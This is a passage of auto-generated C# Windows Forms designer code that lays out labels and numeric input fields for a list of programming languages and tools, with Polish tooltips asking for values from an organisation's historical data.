this.tableLayoutPanel2.Controls.Add(this.label30, 2, 9); this.tableLayoutPanel2.Controls.Add(this.label13, 2, 10); this.tableLayoutPanel2.Controls.Add(this.label17, 0, 4); this.tableLayoutPanel2.Controls.Add(this.label21, 2, 11); this.tableLayoutPanel2.Controls.Add(this.label25, 0, 5); this.tableLayoutPanel2.Controls.Add(this.label31, 0, 6); this.tableLayoutPanel2.Controls.Add(this.label33, 0, 7); this.tableLayoutPanel2.Controls.Add(this.label6, 2, 12); this.tableLayoutPanel2.Controls.Add(this.label11, 2, 13); this.tableLayoutPanel2.Controls.Add(this.label5, 2, 14); this.tableLayoutPanel2.Controls.Add(this.label15, 2, 15); this.tableLayoutPanel2.Controls.Add(this.label23, 2, 16); this.tableLayoutPanel2.Controls.Add(this.label29, 2, 17); this.tableLayoutPanel2.Controls.Add(this.label36, 0, 8); this.tableLayoutPanel2.Controls.Add(this.label16, 0, 9); this.tableLayoutPanel2.Controls.Add(this.label19, 0, 10); this.tableLayoutPanel2.Controls.Add(this.label20, 0, 11); this.tableLayoutPanel2.Controls.Add(this.label27, 0, 12); this.tableLayoutPanel2.Controls.Add(this.label32, 0, 13); this.tableLayoutPanel2.Controls.Add(this.label28, 0, 14); this.tableLayoutPanel2.Controls.Add(this.label37, 0, 15); this.tableLayoutPanel2.Controls.Add(this.label35, 0, 16); this.tableLayoutPanel2.Controls.Add(this.label40, 0, 17); this.tableLayoutPanel2.Controls.Add(this.label45, 2, 18); this.tableLayoutPanel2.Controls.Add(this.NumericASP, 1, 1); this.tableLayoutPanel2.Controls.Add(this.NumericBrio, 1, 3); this.tableLayoutPanel2.Controls.Add(this.NumericAssembler, 1, 2); this.tableLayoutPanel2.Controls.Add(this.NumericC, 1, 4); this.tableLayoutPanel2.Controls.Add(this.NumericCpp, 1, 5); this.tableLayoutPanel2.Controls.Add(this.NumericCsharp, 1, 6); this.tableLayoutPanel2.Controls.Add(this.NumericCOBOL, 1, 7); this.tableLayoutPanel2.Controls.Add(this.NumericCognos, 1, 8); this.tableLayoutPanel2.Controls.Add(this.NumericCross, 1, 9); this.tableLayoutPanel2.Controls.Add(this.NumericCool, 1, 10); this.tableLayoutPanel2.Controls.Add(this.NumericDatastage, 1, 11); this.tableLayoutPanel2.Controls.Add(this.NumericExcel, 1, 12); this.tableLayoutPanel2.Controls.Add(this.NumericFocus, 1, 13); this.tableLayoutPanel2.Controls.Add(this.NumericFoxPro, 1, 14); this.tableLayoutPanel2.Controls.Add(this.NumericHTML, 1, 15); this.tableLayoutPanel2.Controls.Add(this.NumericJ2EE, 1, 16); this.tableLayoutPanel2.Controls.Add(this.NumericJava, 1, 17); this.tableLayoutPanel2.Controls.Add(this.NumericJCL, 3, 0); this.tableLayoutPanel2.Controls.Add(this.NumericLINC, 3, 1); this.tableLayoutPanel2.Controls.Add(this.NumericLotus, 3, 2); this.tableLayoutPanel2.Controls.Add(this.NumericNatural, 3, 3); this.tableLayoutPanel2.Controls.Add(this.NumericDotNet, 3, 4); this.tableLayoutPanel2.Controls.Add(this.NumericOracle, 3, 5); this.tableLayoutPanel2.Controls.Add(this.NumericPACBASE, 3, 6); this.tableLayoutPanel2.Controls.Add(this.NumericPerl, 3, 7); this.tableLayoutPanel2.Controls.Add(this.NumericPLI, 3, 8); this.tableLayoutPanel2.Controls.Add(this.NumericPLSQL, 3, 9); this.tableLayoutPanel2.Controls.Add(this.NumericPowerbuilder, 3, 10); this.tableLayoutPanel2.Controls.Add(this.NumericREXX, 3, 11); this.tableLayoutPanel2.Controls.Add(this.NumericSabretalk, 3, 12); this.tableLayoutPanel2.Controls.Add(this.NumericSAS, 3, 13); this.tableLayoutPanel2.Controls.Add(this.NumericSiebel, 3, 14); this.tableLayoutPanel2.Controls.Add(this.NumericSLOGAN, 3, 15); this.tableLayoutPanel2.Controls.Add(this.NumericSQL, 3, 16); this.tableLayoutPanel2.Controls.Add(this.NumericVBNet, 3, 17); this.tableLayoutPanel2.Controls.Add(this.NumericVisualBasic, 3, 18); this.tableLayoutPanel2.Location = new System.Drawing.Point(9, 32); this.tableLayoutPanel2.Name = "tableLayoutPanel2"; this.tableLayoutPanel2.RowCount = 19; this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 5.263157F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); this.tableLayoutPanel2.Size = new System.Drawing.Size(561, 516); this.tableLayoutPanel2.TabIndex = 38; // // NumericJavaScript // this.NumericJavaScript.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericJavaScript.Location = new System.Drawing.Point(190, 489); this.NumericJavaScript.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericJavaScript.Name = "NumericJavaScript"; this.NumericJavaScript.Size = new System.Drawing.Size(129, 22); this.NumericJavaScript.TabIndex = 21; this.NumericJavaScript.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericJavaScript.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericJavaScript, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericJavaScript.ValueChanged += new System.EventHandler(this.NumericJavaScript_ValueChanged); // // label12 // this.label12.AutoSize = true; this.label12.Dock = System.Windows.Forms.DockStyle.Fill; this.label12.Location = new System.Drawing.Point(3, 486); this.label12.Name = "label12"; this.label12.Size = new System.Drawing.Size(181, 30); this.label12.TabIndex = 50; this.label12.Text = "JavaScript"; this.label12.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // LabelDataRozp // this.LabelDataRozp.AutoSize = true; this.LabelDataRozp.Dock = System.Windows.Forms.DockStyle.Fill; this.LabelDataRozp.Location = new System.Drawing.Point(3, 0); this.LabelDataRozp.Name = "LabelDataRozp"; this.LabelDataRozp.Size = new System.Drawing.Size(181, 27); this.LabelDataRozp.TabIndex = 4; this.LabelDataRozp.Text = "ABAP (SAP)"; this.LabelDataRozp.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // NumericABAP // this.NumericABAP.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericABAP.Location = new System.Drawing.Point(190, 3); this.NumericABAP.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericABAP.Name = "NumericABAP"; this.NumericABAP.Size = new System.Drawing.Size(129, 22); this.NumericABAP.TabIndex = 3; this.NumericABAP.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericABAP.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericABAP, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericABAP.ValueChanged += new System.EventHandler(this.NumericABAP_ValueChanged); // // label1 // this.label1.AutoSize = true; this.label1.Dock = System.Windows.Forms.DockStyle.Fill; this.label1.Location = new System.Drawing.Point(3, 27); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(181, 27); this.label1.TabIndex = 17; this.label1.Text = "ASP"; this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label3 // this.label3.AutoSize = true; this.label3.Dock = System.Windows.Forms.DockStyle.Fill; this.label3.Location = new System.Drawing.Point(3, 54); this.label3.Name = "label3"; this.label3.Size = new System.Drawing.Size(181, 27); this.label3.TabIndex = 19; this.label3.Text = "Assembler"; this.label3.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label2 // this.label2.AutoSize = true; this.label2.Dock = System.Windows.Forms.DockStyle.Fill; this.label2.Location = new System.Drawing.Point(3, 81); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(181, 27); this.label2.TabIndex = 18; this.label2.Text = "Brio"; this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label8 // this.label8.AutoSize = true; this.label8.Dock = System.Windows.Forms.DockStyle.Fill; this.label8.Location = new System.Drawing.Point(325, 0); this.label8.Name = "label8"; this.label8.Size = new System.Drawing.Size(100, 27); this.label8.TabIndex = 24; this.label8.Text = "JCL"; this.label8.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label7 // this.label7.AutoSize = true; this.label7.Dock = System.Windows.Forms.DockStyle.Fill; this.label7.Location = new System.Drawing.Point(325, 27); this.label7.Name = "label7"; this.label7.Size = new System.Drawing.Size(100, 27); this.label7.TabIndex = 23; this.label7.Text = "LINC II"; this.label7.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label4 // this.label4.AutoSize = true; this.label4.Dock = System.Windows.Forms.DockStyle.Fill; this.label4.Location = new System.Drawing.Point(325, 54); this.label4.Name = "label4"; this.label4.Size = new System.Drawing.Size(100, 27); this.label4.TabIndex = 20; this.label4.Text = "Lotus Notes"; this.label4.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label10 // this.label10.AutoSize = true; this.label10.Dock = System.Windows.Forms.DockStyle.Fill; this.label10.Location = new System.Drawing.Point(325, 81); this.label10.Name = "label10"; this.label10.Size = new System.Drawing.Size(100, 27); this.label10.TabIndex = 26; this.label10.Text = "Natural"; this.label10.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label9 // this.label9.AutoSize = true; this.label9.Dock = System.Windows.Forms.DockStyle.Fill; this.label9.Location = new System.Drawing.Point(325, 108); this.label9.Name = "label9"; this.label9.Size = new System.Drawing.Size(100, 27); this.label9.TabIndex = 25; this.label9.Text = ".NET"; this.label9.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label14 // this.label14.AutoSize = true; this.label14.Dock = System.Windows.Forms.DockStyle.Fill; this.label14.Location = new System.Drawing.Point(325, 135); this.label14.Name = "label14"; this.label14.Size = new System.Drawing.Size(100, 27); this.label14.TabIndex = 30; this.label14.Text = "Oracle"; this.label14.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label18 // this.label18.AutoSize = true; this.label18.Dock = System.Windows.Forms.DockStyle.Fill; this.label18.Location = new System.Drawing.Point(325, 162); this.label18.Name = "label18"; this.label18.Size = new System.Drawing.Size(100, 27); this.label18.TabIndex = 34; this.label18.Text = "PACBASE"; this.label18.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label22 // this.label22.AutoSize = true; this.label22.Dock = System.Windows.Forms.DockStyle.Fill; this.label22.Location = new System.Drawing.Point(325, 189); this.label22.Name = "label22"; this.label22.Size = new System.Drawing.Size(100, 27); this.label22.TabIndex = 38; this.label22.Text = "Perl"; this.label22.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label26 // this.label26.AutoSize = true; this.label26.Dock = System.Windows.Forms.DockStyle.Fill; this.label26.Location = new System.Drawing.Point(325, 216); this.label26.Name = "label26"; this.label26.Size = new System.Drawing.Size(100, 27); this.label26.TabIndex = 42; this.label26.Text = "PL/I"; this.label26.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label30 // this.label30.AutoSize = true; this.label30.Dock = System.Windows.Forms.DockStyle.Fill; this.label30.Location = new System.Drawing.Point(325, 243); this.label30.Name = "label30"; this.label30.Size = new System.Drawing.Size(100, 27); this.label30.TabIndex = 46; this.label30.Text = "PL/SQL"; this.label30.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label13 // this.label13.AutoSize = true; this.label13.Dock = System.Windows.Forms.DockStyle.Fill; this.label13.Location = new System.Drawing.Point(325, 270); this.label13.Name = "label13"; this.label13.Size = new System.Drawing.Size(100, 27); this.label13.TabIndex = 29; this.label13.Text = "Powerbuilder"; this.label13.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label17 // this.label17.AutoSize = true; this.label17.Dock = System.Windows.Forms.DockStyle.Fill; this.label17.Location = new System.Drawing.Point(3, 108); this.label17.Name = "label17"; this.label17.Size = new System.Drawing.Size(181, 27); this.label17.TabIndex = 33; this.label17.Text = "C"; this.label17.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label21 // this.label21.AutoSize = true; this.label21.Dock = System.Windows.Forms.DockStyle.Fill; this.label21.Location = new System.Drawing.Point(325, 297); this.label21.Name = "label21"; this.label21.Size = new System.Drawing.Size(100, 27); this.label21.TabIndex = 37; this.label21.Text = "REXX"; this.label21.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label25 // this.label25.AutoSize = true; this.label25.Dock = System.Windows.Forms.DockStyle.Fill; this.label25.Location = new System.Drawing.Point(3, 135); this.label25.Name = "label25"; this.label25.Size = new System.Drawing.Size(181, 27); this.label25.TabIndex = 41; this.label25.Text = "C++"; this.label25.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label31 // this.label31.AutoSize = true; this.label31.Dock = System.Windows.Forms.DockStyle.Fill; this.label31.Location = new System.Drawing.Point(3, 162); this.label31.Name = "label31"; this.label31.Size = new System.Drawing.Size(181, 27); this.label31.TabIndex = 47; this.label31.Text = "C#"; this.label31.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label33 // this.label33.AutoSize = true; this.label33.Dock = System.Windows.Forms.DockStyle.Fill; this.label33.Location = new System.Drawing.Point(3, 189); this.label33.Name = "label33"; this.label33.Size = new System.Drawing.Size(181, 27); this.label33.TabIndex = 49; this.label33.Text = "COBOL"; this.label33.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label6 // this.label6.AutoSize = true; this.label6.Dock = System.Windows.Forms.DockStyle.Fill; this.label6.Location = new System.Drawing.Point(325, 324); this.label6.Name = "label6"; this.label6.Size = new System.Drawing.Size(100, 27); this.label6.TabIndex = 22; this.label6.Text = "Sabretalk"; this.label6.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label11 // this.label11.AutoSize = true; this.label11.Dock = System.Windows.Forms.DockStyle.Fill; this.label11.Location = new System.Drawing.Point(325, 351); this.label11.Name = "label11"; this.label11.Size = new System.Drawing.Size(100, 27); this.label11.TabIndex = 27; this.label11.Text = "SAS"; this.label11.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label5 // this.label5.AutoSize = true; this.label5.Dock = System.Windows.Forms.DockStyle.Fill; this.label5.Location = new System.Drawing.Point(325, 378); this.label5.Name = "label5"; this.label5.Size = new System.Drawing.Size(100, 27); this.label5.TabIndex = 21; this.label5.Text = "Siebel"; this.label5.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label15 // this.label15.AutoSize = true; this.label15.Dock = System.Windows.Forms.DockStyle.Fill; this.label15.Location = new System.Drawing.Point(325, 405); this.label15.Name = "label15"; this.label15.Size = new System.Drawing.Size(100, 27); this.label15.TabIndex = 51; this.label15.Text = "SLOGAN"; this.label15.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label23 // this.label23.AutoSize = true; this.label23.Dock = System.Windows.Forms.DockStyle.Fill; this.label23.Location = new System.Drawing.Point(325, 432); this.label23.Name = "label23"; this.label23.Size = new System.Drawing.Size(100, 27); this.label23.TabIndex = 55; this.label23.Text = "SQL"; this.label23.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label29 // this.label29.AutoSize = true; this.label29.Dock = System.Windows.Forms.DockStyle.Fill; this.label29.Location = new System.Drawing.Point(325, 459); this.label29.Name = "label29"; this.label29.Size = new System.Drawing.Size(100, 27); this.label29.TabIndex = 59; this.label29.Text = "VB.NET"; this.label29.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label36 // this.label36.AutoSize = true; this.label36.Dock = System.Windows.Forms.DockStyle.Fill; this.label36.Location = new System.Drawing.Point(3, 216); this.label36.Name = "label36"; this.label36.Size = new System.Drawing.Size(181, 27); this.label36.TabIndex = 63; this.label36.Text = "Cognos Impromptu Scripts"; this.label36.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label16 // this.label16.AutoSize = true; this.label16.Dock = System.Windows.Forms.DockStyle.Fill; this.label16.Location = new System.Drawing.Point(3, 243); this.label16.Name = "label16"; this.label16.Size = new System.Drawing.Size(181, 27); this.label16.TabIndex = 52; this.label16.Text = "Cross System Products"; this.label16.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label19 // this.label19.AutoSize = true; this.label19.Dock = System.Windows.Forms.DockStyle.Fill; this.label19.Location = new System.Drawing.Point(3, 270); this.label19.Name = "label19"; this.label19.Size = new System.Drawing.Size(181, 27); this.label19.TabIndex = 53; this.label19.Text = "Cool:Gen/IEF"; this.label19.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label20 // this.label20.AutoSize = true; this.label20.Dock = System.Windows.Forms.DockStyle.Fill; this.label20.Location = new System.Drawing.Point(3, 297); this.label20.Name = "label20"; this.label20.Size = new System.Drawing.Size(181, 27); this.label20.TabIndex = 54; this.label20.Text = "Datastage"; this.label20.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label27 // this.label27.AutoSize = true; this.label27.Dock = System.Windows.Forms.DockStyle.Fill; this.label27.Location = new System.Drawing.Point(3, 324); this.label27.Name = "label27"; this.label27.Size = new System.Drawing.Size(181, 27); this.label27.TabIndex = 57; this.label27.Text = "Excel"; this.label27.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label32 // this.label32.AutoSize = true; this.label32.Dock = System.Windows.Forms.DockStyle.Fill; this.label32.Location = new System.Drawing.Point(3, 351); this.label32.Name = "label32"; this.label32.Size = new System.Drawing.Size(181, 27); this.label32.TabIndex = 60; this.label32.Text = "Focus"; this.label32.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label28 // this.label28.AutoSize = true; this.label28.Dock = System.Windows.Forms.DockStyle.Fill; this.label28.Location = new System.Drawing.Point(3, 378); this.label28.Name = "label28"; this.label28.Size = new System.Drawing.Size(181, 27); this.label28.TabIndex = 58; this.label28.Text = "FoxPro"; this.label28.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label37 // this.label37.AutoSize = true; this.label37.Dock = System.Windows.Forms.DockStyle.Fill; this.label37.Location = new System.Drawing.Point(3, 405); this.label37.Name = "label37"; this.label37.Size = new System.Drawing.Size(181, 27); this.label37.TabIndex = 64; this.label37.Text = "HTML"; this.label37.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label35 // this.label35.AutoSize = true; this.label35.Dock = System.Windows.Forms.DockStyle.Fill; this.label35.Location = new System.Drawing.Point(3, 432); this.label35.Name = "label35"; this.label35.Size = new System.Drawing.Size(181, 27); this.label35.TabIndex = 62; this.label35.Text = "J2EE"; this.label35.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label40 // this.label40.AutoSize = true; this.label40.Dock = System.Windows.Forms.DockStyle.Fill; this.label40.Location = new System.Drawing.Point(3, 459); this.label40.Name = "label40"; this.label40.Size = new System.Drawing.Size(181, 27); this.label40.TabIndex = 67; this.label40.Text = "Java"; this.label40.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label45 // this.label45.AutoSize = true; this.label45.Dock = System.Windows.Forms.DockStyle.Fill; this.label45.Location = new System.Drawing.Point(325, 486); this.label45.Name = "label45"; this.label45.Size = new System.Drawing.Size(100, 30); this.label45.TabIndex = 72; this.label45.Text = "Visual Basic"; this.label45.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // NumericASP // this.NumericASP.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericASP.Location = new System.Drawing.Point(190, 30); this.NumericASP.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericASP.Name = "NumericASP"; this.NumericASP.Size = new System.Drawing.Size(129, 22); this.NumericASP.TabIndex = 4; this.NumericASP.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericASP.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericASP, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericASP.ValueChanged += new System.EventHandler(this.NumericASP_ValueChanged); // // NumericBrio // this.NumericBrio.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericBrio.Location = new System.Drawing.Point(190, 84); this.NumericBrio.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericBrio.Name = "NumericBrio"; this.NumericBrio.Size = new System.Drawing.Size(129, 22); this.NumericBrio.TabIndex = 6; this.NumericBrio.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericBrio.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericBrio, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericBrio.ValueChanged += new System.EventHandler(this.NumericBrio_ValueChanged); // // NumericAssembler // this.NumericAssembler.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericAssembler.Location = new System.Drawing.Point(190, 57); this.NumericAssembler.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericAssembler.Name = "NumericAssembler"; this.NumericAssembler.Size = new System.Drawing.Size(129, 22); this.NumericAssembler.TabIndex = 5; this.NumericAssembler.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericAssembler.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericAssembler, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericAssembler.ValueChanged += new System.EventHandler(this.NumericAssembler_ValueChanged); // // NumericC // this.NumericC.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericC.Location = new System.Drawing.Point(190, 111); this.NumericC.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericC.Name = "NumericC"; this.NumericC.Size = new System.Drawing.Size(129, 22); this.NumericC.TabIndex = 7; this.NumericC.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericC.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericC, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericC.ValueChanged += new System.EventHandler(this.NumericC_ValueChanged); // // NumericCpp // this.NumericCpp.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericCpp.Location = new System.Drawing.Point(190, 138); this.NumericCpp.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericCpp.Name = "NumericCpp"; this.NumericCpp.Size = new System.Drawing.Size(129, 22); this.NumericCpp.TabIndex = 8; this.NumericCpp.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericCpp.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericCpp, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericCpp.ValueChanged += new System.EventHandler(this.NumericCpp_ValueChanged); // // NumericCsharp // this.NumericCsharp.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericCsharp.Location = new System.Drawing.Point(190, 165); this.NumericCsharp.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericCsharp.Name = "NumericCsharp"; this.NumericCsharp.Size = new System.Drawing.Size(129, 22); this.NumericCsharp.TabIndex = 9; this.NumericCsharp.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericCsharp.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericCsharp, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericCsharp.ValueChanged += new System.EventHandler(this.NumericCsharp_ValueChanged); // // NumericCOBOL // this.NumericCOBOL.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericCOBOL.Location = new System.Drawing.Point(190, 192); this.NumericCOBOL.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericCOBOL.Name = "NumericCOBOL"; this.NumericCOBOL.Size = new System.Drawing.Size(129, 22); this.NumericCOBOL.TabIndex = 10; this.NumericCOBOL.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericCOBOL.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericCOBOL, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericCOBOL.ValueChanged += new System.EventHandler(this.NumericCOBOL_ValueChanged); // // NumericCognos // this.NumericCognos.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericCognos.Location = new System.Drawing.Point(190, 219); this.NumericCognos.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericCognos.Name = "NumericCognos"; this.NumericCognos.Size = new System.Drawing.Size(129, 22); this.NumericCognos.TabIndex = 11; this.NumericCognos.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericCognos.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericCognos, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericCognos.ValueChanged += new System.EventHandler(this.NumericCognos_ValueChanged); // // NumericCross // this.NumericCross.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericCross.Location = new System.Drawing.Point(190, 246); this.NumericCross.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericCross.Name = "NumericCross"; this.NumericCross.Size = new System.Drawing.Size(129, 22); this.NumericCross.TabIndex = 12; this.NumericCross.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericCross.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericCross, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericCross.ValueChanged += new System.EventHandler(this.NumericCross_ValueChanged); // // NumericCool // this.NumericCool.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericCool.Location = new System.Drawing.Point(190, 273); this.NumericCool.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericCool.Name = "NumericCool"; this.NumericCool.Size = new System.Drawing.Size(129, 22); this.NumericCool.TabIndex = 13; this.NumericCool.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericCool.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericCool, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericCool.ValueChanged += new System.EventHandler(this.NumericCool_ValueChanged); // // NumericDatastage // this.NumericDatastage.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericDatastage.Location = new System.Drawing.Point(190, 300); this.NumericDatastage.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericDatastage.Name = "NumericDatastage"; this.NumericDatastage.Size = new System.Drawing.Size(129, 22); this.NumericDatastage.TabIndex = 14; this.NumericDatastage.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericDatastage.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericDatastage, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericDatastage.ValueChanged += new System.EventHandler(this.NumericDatastage_ValueChanged); // // NumericExcel // this.NumericExcel.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericExcel.Location = new System.Drawing.Point(190, 327); this.NumericExcel.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericExcel.Name = "NumericExcel"; this.NumericExcel.Size = new System.Drawing.Size(129, 22); this.NumericExcel.TabIndex = 15; this.NumericExcel.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericExcel.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericExcel, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericExcel.ValueChanged += new System.EventHandler(this.NumericExcel_ValueChanged); // // 